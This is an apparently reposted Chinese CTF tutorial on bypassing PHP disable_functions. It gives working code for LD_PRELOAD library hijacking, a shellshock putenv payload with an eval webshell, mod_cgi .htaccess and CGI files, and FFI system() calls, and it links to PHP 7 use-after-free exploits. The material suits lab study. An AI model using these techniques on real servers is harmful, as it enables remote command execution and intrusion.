php bypass disable function


前言

最近開學,事太多了,好久沒更新了,然后稍微閑一點一直在弄這個php bypass disable function,一開始自己的電腦win10安裝蟻劍的插件,一直報錯。懷疑是必須linux環境。下載github上官方源碼又顯示壓縮包有問題,被搞了幾天,心態爆炸。今天登github上下載又莫名其妙可以壓縮了。裝在虛擬機里,總算可以用了。

Bypass Disable Functions 專題

什么是bypass disable function?

disable_functions可以對危險函數進行禁用。所以我們考慮的是在禁用了函數后,bypass的方法

首先我們看,我本地的phpinfo中,未對其進行禁用

在實際情況中,可能會禁用各種危險函數

ctf常見套路

本知識點在ctf常見的考察方法為:
通過傳shell,連接進入網站后台后,發現flag文件,但是因為權限的問題,我們無法通過讀文件的方法讀到內容,又有readflag文件,點開發現其是一個執行文件,如果能夠執行readflag內容,即可獲得flag。或者使用具有權限的tac命令獲取flag tac /flag

繞過方法

利用 LD_PRELOAD 環境變量

網上有講述的很好的內容,我只精煉的說一下。

我們通過上傳惡意的.so文件,重寫相關系統函數,通過設置環境變量。把LD_PRELOAD變量設置為惡意.so文件的路徑,只要啟動新進程就會優先加載此文件,因為其可控,所以即可達到任意執行系統命令的效果

步驟:
通過C語言,寫一個惡意動態鏈接庫文件hack.so→設置環境變量惡意的hack.so文件的路徑→配合php中函數觸發hack.so文件→RCE

方法1:
如果要配合php中的某個函數,即需要其在運行時內能夠啟動子進程,這樣才能重新加載環境變量,劫持系統函數,所以這里有兩種方法mail和error_log函數都調用了外部進程sendmail
mail:其運行時,即會啟動子進程調用sendmail
error_log:當其第二個參數設置為1時,即會調用sendmail
snedmail調用了geteuid函數,所以劫持geteuid

hack.c文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("**payload**");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

geteuid被調用,那么會加載payload函數,執行命令。

生成hack.so動態鏈接程序(在linux命令行下敲此payload)
gcc -shared -fPIC hack.c -o hack.so

編寫php腳本

<?php
putenv("LD_PRELOAD=./getuid.so");
mail("","","","","");
?>

or

<?php
putenv("LD_PRELOAD=./test.so");
error_log('',1);
?>

方法2:

在GCC 有個 C 語言擴展修飾符__attribute__((constructor)),可以讓由它修飾的函數在 main() 之前執行,若它出現在共享對象中時,那么一旦共享對象被系統加載,立即將執行__attribute__((constructor))修飾的函數。

hack.c文件

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

剩下的生成.so動態鏈接庫等操作與方法1相同

利用過程:
手動:將生成的.so文件通過蟻劍上傳在/tmp目錄下,php腳本放在網頁根目錄下,通過執行包含此php文件,輸出執行的函數結果。
自動:蟻劍使用bypass disable functions 插件,選擇相應的模式,直接運行即可,通過虛擬終端直接執行/readflag

shellshock

原理:

從’{‘開始執行,但是並沒有在’}'后停止,也就是說定義在函數體外shell命令也會執行

其余與LD_PRELOAD類似

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

利用過程:
蟻劍使用bypass disable functions 插件,選擇相應的模式,直接運行即可,通過在虛擬終端tac /flag 即可

Apache Mod CGI

原理:
如果.htaccess文件被攻擊者修改的話,攻擊者就可以利用apache的mod_cgi模塊,直接繞過PHP的任何限制,來執行系統命令

在這里稍微說一下mod_cgi。

1.Mod CGI就是把PHP做為APACHE一個內置模塊,讓apache http服務器本身能夠支持PHP語言,不需要每一個請求都通過啟動PHP解釋器來解釋PHP.
2.它可以將cgi-script文件或者用戶自定義標識頭為cgi-script的文件通過服務器運行.
3.在.htaccess文件中可定制用戶定義標識頭
4.添加Options +ExecCGI,代表着允許使用mod_cgi模塊執行CGI腳本
5.添加AddHandler cgi-script .cgi,代表着包含.cgi擴展名的文件都將被視為CGI程序

所以我們的腳本:
.htaccess

Options +ExecCGI
AddHandler cgi-script .cgi          

shell.cgi

#!/bin/sh
echo&&cd "/var/www/html";payload;echo [S];pwd;echo [E]

利用過程:
手動:新建.htaccess文件→新建shell.cgi文件→最后訪問shell.cgi即可執行payload,實現RCE
自動:蟻劍使用bypass disable functions 插件,選擇相應的模式,直接運行即可,通過虛擬終端直接執行/readflag

PHP-FPM

具體原理可見這兩篇博客,講的非常詳細。我菜雞一個,就不再講了

攻擊PHP-FPM 實現Bypass Disable Functions :https://zhuanlan.zhihu.com/p/75114351?from_voters_page=true
Nginx+Php-fpm 運行原理詳解 :https://juejin.im/post/58db7d742f301e007e9a00a7

利用過程:
自動:使用蟻劍腳本后,上傳了.antproxy.php,創建一個副本,連接此shell,即可直接bypass

UAF

這里直接也有大牛現成的poc,直接拿來打就行了

Json Serializer UAF && PHP7 GC with Certain Destructors UAF
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出觸發進而執行命令
影響范圍是linux,php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

php-json-bypass漏洞利用json序列化程序中的堆溢出觸發,以繞過disable_functions並執行系統命令
影響范圍是linux,php 7.1-7.3
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

當然直接用蟻劍也是一樣的

FFI

FFI(Foreign Function Interface),即外部函數接口,允許從用戶區調用C代碼。當PHP所有的命令執行函數被禁用后,通過PHP 7.4的新特性FFI可以實現用PHP代碼調用C代碼的方式,先聲明C中的命令執行函數,然后再通過FFI變量調用該C函數即可Bypass disable_functions

php文件

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("payload > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");

運行后即可得到執行結果

總結

蟻劍的github上有官方環境,不想復現的可以直接在ctfhub上找
rce這塊感覺水很深,尤其是各種亂七八糟不要字母,數字什么構造的,現在又學到了新姿勢。繼續學習把

參考文獻

三篇總結bypass disable functions的博文:

https://www.anquanke.com/post/id/195686?from=timeline#h3-5
https://www.cnblogs.com/zw1sh/p/12632126.html
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM